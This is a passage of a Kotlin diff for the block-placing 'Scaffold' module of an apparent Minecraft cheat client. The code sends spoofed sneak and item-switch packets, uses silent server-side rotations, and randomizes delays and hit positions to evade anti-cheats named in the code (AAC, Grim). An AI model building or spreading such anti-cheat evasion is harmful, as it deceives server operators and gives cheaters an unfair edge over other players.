mc.thePlayer.heldItem != null && mc.thePlayer.heldItem!!.item is ItemBlock + } + if (update&&mc.gameSettings.keyBindJump.isKeyDown) move() + } + + // Update and search for a new block +// if (eventState == EventState.PRE && strafeMode.get().equals("Off", true)) {} +// update() + + // Reset placeable delay + if (targetPlace == null && placeDelay.get()) + delayTimer.reset() + } + + @EventTarget + fun onJump(event: JumpEvent) { + if (towerModeValue.equals( "Jump")) { + + } else if (mc.gameSettings.keyBindJump.isKeyDown) event.cancelEvent() + } + + fun update() { + val isHeldItemBlock: Boolean = + mc.thePlayer!!.heldItem != null && (mc.thePlayer!!.heldItem!!.item) is ItemBlock + if (if (!autoBlockValue.get() + .equals("Off", true) + ) InventoryUtils.findAutoBlockBlock() == -1 && !isHeldItemBlock else !isHeldItemBlock + ) + return + findBlock(shouldExpand) + } + + private fun handleEagle() { + if (!eagleValue.get().equals("Off", true) && !shouldGoDown) { + var dif = 0.5 + if (edgeDistanceValue.get() > 0) { + for (facingType in EnumFacing.values()) { + if (facingType != EnumFacing.NORTH && facingType != EnumFacing.EAST && facingType != EnumFacing.SOUTH && facingType != EnumFacing.WEST) + continue + val blockPosition = BlockPos( + mc.thePlayer!!.posX, + mc.thePlayer!!.posY - 1.0, + mc.thePlayer!!.posZ + ) + val neighbor = blockPosition.offset(facingType, 1) + if (mc.theWorld!!.getBlockState(neighbor).block == (Blocks.air)) { + val calcDif = (if (facingType == EnumFacing.NORTH || facingType == EnumFacing.SOUTH) + abs((neighbor.z + 0.5) - mc.thePlayer!!.posZ) else + abs((neighbor.x + 0.5) - mc.thePlayer!!.posX)) - 0.5 + if (calcDif < dif) + dif = calcDif + } + } + } + if (placedBlocksWithoutEagle >= blocksToEagleValue.get() || !facesBlock) { + val shouldEagle: Boolean = mc.theWorld!!.getBlockState( + BlockPos( + mc.thePlayer!!.posX, + mc.thePlayer!!.posY - 1.0, + mc.thePlayer!!.posZ + ) + ).block == (Blocks.air) || dif < edgeDistanceValue.get() + if (eagleValue.get().equals("Silent", true)) { + if (eagleSneaking != shouldEagle) { + mc.netHandler.addToSendQueue( + C0BPacketEntityAction( + mc.thePlayer!!, if (shouldEagle) + C0BPacketEntityAction.Action.START_SNEAKING + else + C0BPacketEntityAction.Action.STOP_SNEAKING + ) + ) + } + eagleSneaking = shouldEagle + } else if (eagleValue.equals( "OnlyChangeRot") || eagleValue.equals( "RotationStrict")) { + if (eagleSneaking) { + if (!shouldEagle) eagleSneaking = false + mc.gameSettings.keyBindSneak.pressed = true + } else mc.gameSettings.keyBindSneak.pressed = false + } else { + mc.gameSettings.keyBindSneak.pressed = shouldEagle + placedBlocksWithoutEagle = 0 + } + } else { + placedBlocksWithoutEagle++ + } + } + } + + private fun setRotation(rotation: Rotation) { + if (silentRotationValue.get()) { + RotationUtils.setTargetRotation(rotation, 0) + } else { + mc.thePlayer!!.rotationYaw = rotation.yaw + mc.thePlayer!!.rotationPitch = rotation.pitch + } + } + /* + private enum class X8Direction(val range: Pair<Double,Double>, val cross: Boolean, val leftRight: Double? = null, val x4: Boolean = false, val x: Int = 1, val z: Int = 1) { + South(-22.5 to 22.5, false, x4 = true), //南 + WestSouth(22.5 to 67.5, false, 45.0, x = -1, z = 1), //西南 + West(67.5 to 112.5, false, x4 = true), //西 + WestNorth(112.5 to 157.5, false, 135.0, x = -1, z = -1), //西北 + North(157.5 to -157.5, true, x4 = true), //北 + EastNorth(-157.5 to -112.5, false, -135.0, x = 1, z = -1), //东北 + East(-112.5 to -67.5, false, x4 = true), //东 + EastSouth(-67.5 to -22.5, false, -45.0, x = 1, z = 1), //东南 + } + private enum class EnumLeftRight { + Left,Right + } + private val getDirection: Pair<X8Direction,EnumLeftRight> + get() { + val rotationYaw = wrapAngleTo180_float(mc.thePlayer.rotationYaw) + val x8Direction = X8Direction.values().find { + if (it.cross) + rotationYaw >= it.range.first || rotationYaw < it.range.second + else + rotationYaw >= it.range.first && rotationYaw < it.range.second + } ?: X8Direction.North + val leftRight = if (x8Direction.leftRight != null) + if (rotationYaw >= x8Direction.range.first && rotationYaw < x8Direction.leftRight) + EnumLeftRight.Left + else + EnumLeftRight.Right + else + EnumLeftRight.Left + return x8Direction to leftRight + } + */ + + private fun isAirBlock(block: Block): Boolean { + return if (block.material.isReplaceable) { + !(block is BlockSnow && block.getBlockBoundsMaxY() > 0.125) + } else false + } + private fun getExpandCords(x: Double, z: Double, forward: Double, strafe: Double, yaw: Float, expandLength: Double): Pair<Double,Double> { + var underPos = BlockPos(x, mc.thePlayer.posY - 1, z) + var underBlock = mc.theWorld.getBlockState(underPos).block + var xCalc = x//-999.0 + var zCalc = z//-999.0 + var dist = 0.0 + val expandDist = expandLength * 2 + while (!isAirBlock(underBlock)) { + xCalc = x + zCalc = z + dist++ + if (dist > expandDist) { + dist = expandDist + } + xCalc += (forward * 0.45 * cos(Math.toRadians(yaw + 90.0)) + strafe * 0.45 * sin(Math.toRadians(yaw + 90.0))) * dist + zCalc += (forward * 0.45 * sin(Math.toRadians(yaw + 90.0)) - strafe * 0.45 * cos(Math.toRadians(yaw + 90.0))) * dist + if (dist == expandDist) { + break + } + underPos = BlockPos(xCalc, mc.thePlayer.posY - 1, zCalc) + underBlock = mc.theWorld.getBlockState(underPos).block + } + return xCalc to zCalc + } + private fun isPosSolid(pos: BlockPos): Boolean { + val block = mc.theWorld.getBlockState(pos).block + return ((block.material.isSolid || !block.isTranslucent || block.isBlockNormalCube || block is BlockLadder || block is BlockCarpet + || block is BlockSnow || block is BlockSkull) + && !block.material.isLiquid && block !is BlockContainer) + } + private fun getBlockData(pos: BlockPos): Pair<BlockPos,EnumFacing>? { + when { + isPosSolid(pos.add(0, -1, 0)) -> return pos.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos.add(-1, 0, 0)) -> return pos.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos.add(1, 0, 0)) -> return pos.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos.add(0, 0, 1)) -> return pos.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos.add(0, 0, -1)) -> return pos.add(0, 0, -1) to EnumFacing.SOUTH + } + val pos1 = pos.add(-1, 0, 0) + when { + isPosSolid(pos1.add(0, -1, 0)) -> return pos1.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos1.add(-1, 0, 0)) -> return pos1.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos1.add(1, 0, 0)) -> return pos1.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos1.add(0, 0, 1)) -> return pos1.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos1.add(0, 0, -1)) -> return pos1.add(0, 0, -1) to EnumFacing.SOUTH + } + val pos2 = pos.add(1, 0, 0) + when { + isPosSolid(pos2.add(0, -1, 0)) -> return pos2.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos2.add(-1, 0, 0)) -> return pos2.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos2.add(1, 0, 0)) -> return pos2.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos2.add(0, 0, 1)) -> return pos2.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos2.add(0, 0, -1)) -> return pos2.add(0, 0, -1) to EnumFacing.SOUTH + } + val pos3 = pos.add(0, 0, 1) + when { + isPosSolid(pos3.add(0, -1, 0)) -> return pos3.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos3.add(-1, 0, 0)) -> return pos3.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos3.add(1, 0, 0)) -> return pos3.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos3.add(0, 0, 1)) -> return pos3.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos3.add(0, 0, -1)) -> return pos3.add(0, 0, -1) to EnumFacing.SOUTH + } + val pos4 = pos.add(0, 0, -1) + when { + isPosSolid(pos4.add(0, -1, 0)) -> return pos4.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos4.add(-1, 0, 0)) -> return pos4.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos4.add(1, 0, 0)) -> return pos4.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos4.add(0, 0, 1)) -> return pos4.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos4.add(0, 0, -1)) -> return pos4.add(0, 0, -1) to EnumFacing.SOUTH + isPosSolid(pos1.add(0, -1, 0)) -> return pos1.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos1.add(-1, 0, 0)) -> return pos1.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos1.add(1, 0, 0)) -> return pos1.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos1.add(0, 0, 1)) -> return pos1.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos1.add(0, 0, -1)) -> return pos1.add(0, 0, -1) to EnumFacing.SOUTH + isPosSolid(pos2.add(0, -1, 0)) -> return pos2.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos2.add(-1, 0, 0)) -> return pos2.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos2.add(1, 0, 0)) -> return pos2.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos2.add(0, 0, 1)) -> return pos2.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos2.add(0, 0, -1)) -> return pos2.add(0, 0, -1) to EnumFacing.SOUTH + isPosSolid(pos3.add(0, -1, 0)) -> return pos3.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos3.add(-1, 0, 0)) -> return pos3.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos3.add(1, 0, 0)) -> return pos3.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos3.add(0, 0, 1)) -> return pos3.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos3.add(0, 0, -1)) -> return pos3.add(0, 0, -1) to EnumFacing.SOUTH + isPosSolid(pos4.add(0, -1, 0)) -> return pos4.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos4.add(-1, 0, 0)) -> return pos4.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos4.add(1, 0, 0)) -> return pos4.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos4.add(0, 0, 1)) -> return pos4.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos4.add(0, 0, -1)) -> return pos4.add(0, 0, -1) to EnumFacing.SOUTH + } + val pos5 = pos.add(0, -1, 0) + when { + isPosSolid(pos5.add(0, -1, 0)) -> return pos5.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos5.add(-1, 0, 0)) -> return pos5.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos5.add(1, 0, 0)) -> return pos5.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos5.add(0, 0, 1)) -> return pos5.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos5.add(0, 0, -1)) -> return pos5.add(0, 0, -1) to EnumFacing.SOUTH + } + val pos6 = pos5.add(1, 0, 0) + when { + isPosSolid(pos6.add(0, -1, 0)) -> return pos6.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos6.add(-1, 0, 0)) -> return pos6.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos6.add(1, 0, 0)) -> return pos6.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos6.add(0, 0, 1)) -> return pos6.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos6.add(0, 0, -1)) -> return pos6.add(0, 0, -1) to EnumFacing.SOUTH + } + val pos7 = pos5.add(-1, 0, 0) + when { + isPosSolid(pos7.add(0, -1, 0)) -> return pos7.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos7.add(-1, 0, 0)) -> return pos7.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos7.add(1, 0, 0)) -> return pos7.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos7.add(0, 0, 1)) -> return pos7.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos7.add(0, 0, -1)) -> return pos7.add(0, 0, -1) to EnumFacing.SOUTH + } + val pos8 = pos5.add(0, 0, 1) + when { + isPosSolid(pos8.add(0, -1, 0)) -> return pos8.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos8.add(-1, 0, 0)) -> return pos8.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos8.add(1, 0, 0)) -> return pos8.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos8.add(0, 0, 1)) -> return pos8.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos8.add(0, 0, -1)) -> return pos8.add(0, 0, -1) to EnumFacing.SOUTH + } + val pos9 = pos5.add(0, 0, -1) + when { + isPosSolid(pos9.add(0, -1, 0)) -> return pos9.add(0, -1, 0) to EnumFacing.UP + isPosSolid(pos9.add(-1, 0, 0)) -> return pos9.add(-1, 0, 0) to EnumFacing.EAST + isPosSolid(pos9.add(1, 0, 0)) -> return pos9.add(1, 0, 0) to EnumFacing.WEST + isPosSolid(pos9.add(0, 0, 1)) -> return pos9.add(0, 0, 1) to EnumFacing.NORTH + isPosSolid(pos9.add(0, 0, -1)) -> return pos9.add(0, 0, -1) to EnumFacing.SOUTH + } + return null + } + private fun randomNumber(max: Double, min: Double) = + Math.random() * (max - min) + min + private fun getVec3(pos: BlockPos, face: EnumFacing): Vec3 { + var x = pos.x + 0.5 + var y = pos.y + 0.5 + var z = pos.z + 0.5 + x += face.frontOffsetX.toDouble() / 2 + z += face.frontOffsetZ.toDouble() / 2 + y += face.frontOffsetY.toDouble() / 2 + if (face == EnumFacing.UP || face == EnumFacing.DOWN) { + x += randomNumber(0.3, -0.3) + z += randomNumber(0.3, -0.3) + } else { + y += randomNumber(0.3, -0.3) + } + if (face == EnumFacing.WEST || face == EnumFacing.EAST) { + z += randomNumber(0.3, -0.3) + } + if (face == EnumFacing.SOUTH || face == EnumFacing.NORTH) { + x += randomNumber(0.3, -0.3) + } + return Vec3(x, y, z) + } + private fun getRotations(block: BlockPos, face: EnumFacing): Rotation { + val x = block.x + 0.5 - mc.thePlayer.posX + face.frontOffsetX.toDouble() / 2 + val z = block.z + 0.5 - mc.thePlayer.posZ + face.frontOffsetZ.toDouble() / 2 + val y = block.y + 0.5 + val d1 = mc.thePlayer.posY + mc.thePlayer.eyeHeight - y + val d3 = MathHelper.sqrt_double(x * x + z * z).toDouble() + var yaw = (atan2(z, x) * 180.0 / Math.PI).toFloat() - 90.0f + val pitch = (atan2(d1, d3) * 180.0 / Math.PI).toFloat() + if (yaw < 0.0f) { + yaw += 360f + } + return Rotation(yaw, pitch) + } + + // Search for new target block + private fun findBlock(expand: Boolean) { + val blockPosition: BlockPos = + if (shouldGoDown) (if (mc.thePlayer!!.posY == mc.thePlayer!!.posY.toInt() + 0.5) BlockPos( + mc.thePlayer!!.posX, + mc.thePlayer!!.posY - 0.6, + mc.thePlayer!!.posZ + ) + else BlockPos(mc.thePlayer!!.posX, mc.thePlayer!!.posY - 0.6, mc.thePlayer!!.posZ).down()) + else + (if (sameY() && launchY <= mc.thePlayer!!.posY) BlockPos( + mc.thePlayer!!.posX, + launchY - 1.0, + mc.thePlayer!!.posZ + ) else (if (mc.thePlayer!!.posY == mc.thePlayer!!.posY.toInt() + 0.5) BlockPos(mc.thePlayer!!) else BlockPos( + mc.thePlayer!!.posX, + mc.thePlayer!!.posY, + mc.thePlayer!!.posZ + ).down())) + if (!expand && (expSearch() || !isReplaceable(blockPosition) || search(blockPosition, !shouldGoDown))) + return + + if (expand) { + when(expandMode.get()) { + "LiquidBounce" -> { + for (i in 0 until expandLengthValue.get()) { + if (search( + blockPosition.add( + when (mc.thePlayer!!.horizontalFacing) { + EnumFacing.WEST -> -i + EnumFacing.EAST -> i + else -> 0 + }, 0, + when (mc.thePlayer!!.horizontalFacing) { + EnumFacing.NORTH -> -i + EnumFacing.SOUTH -> i + else -> 0 + } + ), false + ) + ) + return + } + } + "Sigma" -> { + /*if (isReplaceable(blockPosition)&&search(blockPosition, !shouldGoDown)) + return*/ + var x = mc.thePlayer.posX + var z = mc.thePlayer.posZ + //if (!mc.thePlayer.isCollidedHorizontally) { + val expandCords = getExpandCords( + x, + z, + mc.thePlayer.movementInput.moveForward.toDouble(), + mc.thePlayer.movementInput.moveStrafe.toDouble(), + mc.thePlayer.rotationYaw, + expandLengthValue.get().toDouble() + ) + /*if (expandCords.first == -999.0 || expandCords.second == -999.0) + return*/ + x = expandCords.first + z = expandCords.second + //} + if (search(BlockPos(x, blockPosition.y.toDouble(), z),false)) + return + } + } + } else if (searchValue.get()) { + for (x in -1..1) { + for (z in -1..1) { + if (search(blockPosition.add(x, 0, z), !shouldGoDown)) { + return + } + } + } + } + } + + fun place() { + if (targetPlace == null) { + if (placeDelay.get()) + delayTimer.reset() + mc.thePlayer?.let { + val stack = it.inventoryContainer.getSlot(slot).stack + if (stack == null || stack.item is ItemBlock) doExtraClick(stack) + } + return + } + + // HitableCheck + if (grimACRotation.get()) { + if (lockRotation != null && !grimRotationBoolean) return + } + if (hitableCheck.get() !in arrayOf("None", "Normal")) { + val eyesVec = Vec3( + mc.thePlayer.posX, + mc.thePlayer.entityBoundingBox.minY + mc.thePlayer.getEyeHeight(), + mc.thePlayer.posZ + ) + val lookVec = RotationUtils.bestServerRotation()!!.toDirection().multiply(5.0).add(eyesVec) + val movingObjectPosition = mc.theWorld.rayTraceBlocks(eyesVec, lookVec, false, true, false) + if (movingObjectPosition.blockPos != targetPlace!!.blockPos || (hitableCheck.equals( "Strict") && movingObjectPosition.sideHit != targetPlace!!.enumFacing)) { + targetPlace!!.vec3 = movingObjectPosition.hitVec + if (eagleValue.equals( "Smart")) { + mc.gameSettings.keyBindSneak.pressed = true + } + return + } + } + + //2022-12-19 Hit facing check + val f: Float = (targetPlace!!.vec3.xCoord - targetPlace!!.blockPos.x.toDouble()).toFloat() + val f1: Float = (targetPlace!!.vec3.yCoord - targetPlace!!.blockPos.y.toDouble()).toFloat() + val f2: Float = (targetPlace!!.vec3.zCoord - targetPlace!!.blockPos.z.toDouble()).toFloat() + if (f > 1 || f1 > 1 || f2 > 1 || f < 0 || f1 < 0 || f2 < 0) { + if (invalidPlaceFacingMode.equals( "CancelIt")) { + targetPlace = null + facesBlock = false + return + } else if (invalidPlaceFacingMode.equals( "FixIt")) { + val vec = targetPlace!!.vec3 + val pos = targetPlace!!.blockPos + targetPlace!!.vec3 = Vec3( + MathHelper.clamp_double(vec.xCoord, pos.x + 0.0, pos.x + 1.0), + MathHelper.clamp_double(vec.yCoord, pos.y + 0.0, pos.y + 1.0), + MathHelper.clamp_double(vec.zCoord, pos.z + 0.0, pos.z + 1.0) + ) + } + } + + if (!delayTimer.hasTimePassed(delay) || sameY() && launchY - 1 != targetPlace!!.vec3.yCoord.toInt()) + return + + val isDynamicSprint = sprintValue.equals( "dynamic") && (!towerNoSprintSwitch.get() || !towerState) + + var itemStack: ItemStack? = mc.thePlayer!!.heldItem + if (itemStack == null || (itemStack.item) !is ItemBlock || + ((itemStack.item!! as ItemBlock).block) is BlockBush || mc.thePlayer!!.heldItem!!.stackSize <= 0 + ) { + + val blockSlot = InventoryUtils.findAutoBlockBlock() + + if (blockSlot == -1) + return + + when (autoBlockValue.get().lowercase()) { + "off" -> return + "pick" -> { + mc.thePlayer!!.inventory.currentItem = blockSlot - 36 + mc.playerController.updateController() + } + "spoof" -> { + if (blockSlot - 36 != slot) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(blockSlot - 36)) + } + } + "switch" -> { + if (blockSlot - 36 != slot) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(blockSlot - 36)) + } + } + } + itemStack = mc.thePlayer!!.inventoryContainer.getSlot(blockSlot).stack + } + + if (isDynamicSprint) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + } + + if (mc.playerController.onPlayerRightClick( + mc.thePlayer!!, + mc.theWorld!!, + itemStack, + targetPlace!!.blockPos, + targetPlace!!.enumFacing, + targetPlace!!.vec3 + ) + ) { + delayTimer.reset() + delay = if (!placeDelay.get()) 0 else TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()) + + if (mc.thePlayer!!.onGround) { + val modifier: Float = speedModifierValue.get() + mc.thePlayer!!.motionX *= modifier + mc.thePlayer!!.motionZ *= modifier + } + + if (swingValue.get()) { + mc.thePlayer!!.swingItem() + } else { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + + lastPlace = targetPlace!!.blockPos.add(targetPlace!!.enumFacing.frontOffsetX, targetPlace!!.enumFacing.frontOffsetY, targetPlace!!.enumFacing.frontOffsetZ) + if (itemStack?.stackSize == 0 && slot in 0..8) { + mc.thePlayer.inventory.mainInventory[slot] = null + } + } else { + doExtraClick(itemStack) + } + + if (isDynamicSprint) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + } + + if (autoBlockValue.get().equals("Switch", true)) { + if (slot != mc.thePlayer!!.inventory.currentItem) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer!!.inventory.currentItem)) + } + } +// if (eagleValue equal "Smart") { +// mc.gameSettings.keyBindSneak.pressed = false +// } + targetPlace = null + grimRotationBoolean = false + } + + private fun doExtraClick(itemStack: ItemStack?) { + if (extraClick.equals( "RandomCPS")) { + if (clickTimer.hasTimePassed(extraClickDelay) && itemStack != null) { + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(itemStack)) + clickTimer.reset() + extraClickDelay = TimeUtils.randomClickDelay(extraClickMinCPS.get().toInt(), + extraClickMaxCPS.get().toInt() + ) + } + } + } + + // DISABLING MODULE + override fun onDisable() { + if (mc.thePlayer == null) return + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindSneak)) { + mc.gameSettings.keyBindSneak.pressed = false + if (eagleSneaking) + mc.netHandler.addToSendQueue( + C0BPacketEntityAction( + mc.thePlayer!!, + C0BPacketEntityAction.Action.STOP_SNEAKING + ) + ) + } + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindRight)) + mc.gameSettings.keyBindRight.pressed = false + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindLeft)) + mc.gameSettings.keyBindLeft.pressed = false + + lockRotation = null + facesBlock = false + mc.timer.timerSpeed = 1f + shouldGoDown = false + + if (slot != mc.thePlayer!!.inventory.currentItem) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer!!.inventory.currentItem)) + } + } + + // Entity movement event + /** @param event */ + @EventTarget + fun onMove(event: MoveEvent) { + if (!safeWalkValue.get() || shouldGoDown) + return + if (airSafeValue.get() || mc.thePlayer!!.onGround) + event.isSafeWalk = true + } + + // Scaffold visuals + @EventTarget + fun onRender2D(event: Render2DEvent) { + if (counterDisplayValue.get()) { + GL11.glPushMatrix() + val info = "Blocks: §7$blocksAmount" + val scaledResolution = ScaledResolution(mc) + + RenderUtils.drawBorderedRect( + scaledResolution.scaledWidth / 2 - 2.toFloat(), + scaledResolution.scaledHeight / 2 + 5.toFloat(), + scaledResolution.scaledWidth / 2 + Fonts.font40.getStringWidth(info) + 2.toFloat(), + scaledResolution.scaledHeight / 2 + 16.toFloat(), 3f, Color.BLACK.rgb, Color.BLACK.rgb + ) + + GlStateManager.resetColor() + + Fonts.font40.drawString( + info, scaledResolution.scaledWidth / 2.toFloat(), + scaledResolution.scaledHeight / 2 + 7.toFloat(), Color.WHITE.rgb + ) + + GlStateManager.enableBlend() + + GL11.glPopMatrix() + } + } +// SCAFFOLD VISUALS + /** @param */ + @EventTarget + fun onRender3D(event: Render3DEvent) { + if (!markValue.get()) return + if (!shouldExpand || expandMode.equals( "LiquidBounce")) { + for (i in 0 until if (shouldExpand) expandLengthValue.get() + 1 else 2) { + val blockPos = BlockPos( + mc.thePlayer!!.posX + when (mc.thePlayer!!.horizontalFacing) { + EnumFacing.WEST -> -i.toDouble() + EnumFacing.EAST -> i.toDouble() + else -> 0.0 + }, + if (sameY() && launchY <= mc.thePlayer!!.posY) launchY - 1.0 else mc.thePlayer!!.posY - (if (mc.thePlayer!!.posY == mc.thePlayer!!.posY + 0.5) 0.0 else 1.0) - if (shouldGoDown) 1.0 else 0.0, + mc.thePlayer!!.posZ + when (mc.thePlayer!!.horizontalFacing) { + EnumFacing.NORTH -> -i.toDouble() + EnumFacing.SOUTH -> i.toDouble() + else -> 0.0 + } + ) + val placeInfo: PlaceInfo? = PlaceInfo.get(blockPos) + if (isReplaceable(blockPos) && placeInfo != null) { + RenderUtils.drawBlockBox(blockPos, Color(68, 117, 255, 100), false) + break + } + } + } else { + //if (!mc.thePlayer.isCollidedHorizontally) { + val expandCords = getExpandCords( + mc.thePlayer.posX, + mc.thePlayer.posZ, + mc.thePlayer.movementInput.moveForward.toDouble(), + mc.thePlayer.movementInput.moveStrafe.toDouble(), + mc.thePlayer.rotationYaw, + expandLengthValue.get()+1.0 + ) + val blockPos = BlockPos(expandCords.first, mc.thePlayer!!.posY - (if (mc.thePlayer!!.posY == mc.thePlayer!!.posY + 0.5) 0.0 else 1.0), expandCords.second) + val placeInfo: PlaceInfo? = PlaceInfo.get(blockPos) + if (isReplaceable(blockPos) && placeInfo != null) { + RenderUtils.drawBlockBox(blockPos, Color(68, 117, 255, 100), false) + } + //} + } + } + + private fun calculateRotation(rotation: Rotation): Rotation { + return if (towerState) when(towerRotationsValue.get()) { + "Custom" -> Rotation(mc.thePlayer.rotationYaw + customTowerYawValue.get(), customTowerPitchValue.get()) + "MoveDirection" -> Rotation(MovementUtils.movingYaw - 180, rotation.pitch) + else -> rotation + } else when(rotationsValue.get()) { + "AAC" -> Rotation(mc.thePlayer.rotationYaw + (((if (mc.thePlayer.movementInput.moveForward < 0) 0 else 180) - aacYawOffsetValue.get()) * if (aacRotationPositive) 1 else -1), rotation.pitch) + "MoveDirection" -> Rotation(MovementUtils.movingYaw - 180, customPitchValue.get()) + "Custom" -> Rotation(mc.thePlayer.rotationYaw + customYawValue.get(), customPitchValue.get()) + else -> rotation + } + } + private val _basic8DRot = arrayOf(180.0f, 135.0f, 225.0f, 90.0f, 270f, 45.0f, 315f, 0.0f) + private val _basic4DRot = arrayOf(180f, 90f, 270f, 0f) + private val _godBridgeRot = arrayOf(135f, 225f, 45f, 315f) + + private fun expSearch(): Boolean { + if (shouldGoDown) return false + val moveDirection = MovementUtils.direction + + var rotArr = _basic8DRot + var nearestDefault = Rotation(moveDirection.toFloat() + 180f, 75.2f) + val base = when { + rotationsValue.equals( "AAC") -> { + val dv = aacYawOffsetValue.get().toFloat() + mc.thePlayer.rotationYaw.div(45f).toInt().times(45f) + nearestDefault = Rotation(_basic8DRot.sortedBy { RotationUtils.getAngleDifference(dv + 180f, it) }[0], 76.8f) + dv + } + rotationsValue.equals( "GodBridge") -> { + rotArr = _godBridgeRot + keepRotationValue.set(true) + // have no other ideas... + val d = moveDirection + 180 + val dz = cos(-d * 0.017453292f - Math.PI) + val dx = sin(-d * 0.017453292f - Math.PI) + val block = BlockPos(mc.thePlayer.posX + dx * 5, mc.thePlayer.posY, mc.thePlayer.posZ + dz * 5) + val x = block.x + 0.5 - mc.thePlayer.posX + val z = block.z + 0.5 - mc.thePlayer.posZ + var yaw = (atan2(z, x) * 180.0 / Math.PI).toFloat() - 90.0f + if (yaw < 0.0f) { + yaw += 360f + } + nearestDefault = Rotation(_godBridgeRot.sortedBy { RotationUtils.getAngleDifference(yaw, it) }[0], 74.7562f) + 0f + } + rotationsValue.equals( "MoveDirection") -> { + rotArr = _basic4DRot + moveDirection.toFloat() + } + else -> return false + } + val blockPos = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.5, mc.thePlayer.posZ) + val block = mc.theWorld.getBlockState(blockPos).block + val isEmptyBlockUnder = isAirBlock(block) || block is BlockAir + val lUnder = lastEmptyBlockUnder + lastEmptyBlockUnder = isEmptyBlockUnder + val unsafe = isEmptyBlockUnder && lUnder + val targetRotation = RotationUtils.targetRotation + val serverRotation = RotationUtils.serverRotation + if (!unsafe) { + if (targetRotation != null && !towerState) return true + } + val eyesLoc = Vec3( + mc.thePlayer.posX, + mc.thePlayer.entityBoundingBox.minY + mc.thePlayer.getEyeHeight(), + mc.thePlayer.posZ + ) + var target : PlaceRotation? = null + var distanceSq = 4.5 + // high priority + if (targetRotation != null) { + val ray = mc.theWorld.rayTraceBlocks(eyesLoc, targetRotation.toDirection().multiply(4.4).add(eyesLoc), false, false, true) + if (ray.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && ray.sideHit != EnumFacing.UP && ray.sideHit != EnumFacing.DOWN && ray.blockPos.y <= mc.thePlayer.posY - 1) { + target = PlaceRotation(PlaceInfo(ray.blockPos, ray.sideHit, ray.hitVec), targetRotation) + } + } + for (i in rotArr) { + val dir = i + base + for (p in min(55f, serverRotation!!.pitch - 20f)..max(serverRotation.pitch + 20f, 90f)) { + val rotation = Rotation(dir, p) + val rayTraceBlocks = mc.theWorld.rayTraceBlocks(eyesLoc, rotation.toDirection().multiply(4.4).add(eyesLoc), false, false, true) ?: continue + + if ( + // if this block is able to place + rayTraceBlocks.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && rayTraceBlocks.sideHit != EnumFacing.DOWN && + // and this block isn't up if needn't + ((mc.thePlayer.motionY > -0.15 && !mc.thePlayer.onGround) || rayTraceBlocks.sideHit != EnumFacing.UP) && + // and check it is actually not place up + rayTraceBlocks.blockPos.y <= mc.thePlayer.posY - 1 && (!mc.thePlayer.onGround || rayTraceBlocks.blockPos.y >= mc.thePlayer.posY 